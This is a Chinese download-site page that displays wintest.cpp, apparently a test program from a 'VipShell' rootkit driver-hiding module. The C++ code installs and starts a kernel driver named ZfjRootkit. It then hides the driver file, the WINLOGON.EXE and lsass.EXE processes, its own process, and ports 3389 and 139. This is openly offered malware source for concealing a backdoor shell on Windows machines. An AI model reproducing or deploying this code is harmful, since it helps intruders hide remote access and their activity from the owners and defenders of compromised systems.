⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 wintest.cpp

📁 VipShell驱动隐藏模块
💻 CPP
字号:
#include "PinboardInterface.h"
#include <tchar.h>
#include <TLHELP32.H>
#include <Psapi.h>
#pragma comment (lib, "Psapi.lib")

DWORD GetProcessIdByName(LPCTSTR szName)
{
	DWORD dwRet = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof( PROCESSENTRY32 );
    Process32First( hSnapshot, &pe32 );
    do
	{

		if ( _tcsicmp(pe32.szExeFile, szName) == 0)
		{
			dwRet = pe32.th32ProcessID;
			break;
		}


    } while ( Process32Next( hSnapshot, &pe32 ) );
    CloseHandle( hSnapshot );
	return dwRet;
}

void main()
{
	CPinboardPtr<I_RootKitModule> spRootKitModule = CreatePinboardInstance(RootKitModule);
	spRootKitModule->Test();   //测试接口
	spRootKitModule->CreateDriver("c:\\__ZHF__ROORKIT.SYS", "ZfjRootkit");
	spRootKitModule->StartDriver();  //启动驱动
	spRootKitModule->AddHideFile("__ZHF__roorkit.SYS"); //隐藏这个文件
	spRootKitModule->AddHideProcessId( GetProcessIdByName("WINLOGON.EXE")); //隐藏WINLOGON.EXE 进程
	spRootKitModule->AddHideProcessId( GetProcessIdByName("lsass.EXE")); //隐藏lass.EXE 进程
	spRootKitModule->AddHideProcessId( GetCurrentProcessId() ); //隐藏自己的 进程
	spRootKitModule->AddHidePort(3389);  //隐藏3389
	spRootKitModule->AddHidePort(139);  //隐藏139
	spRootKitModule->StartHideFile();  //开始隐藏文件
	spRootKitModule->StartHidePort();  //开始隐port
	spRootKitModule->StartHideProcess();  //隐藏进程
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -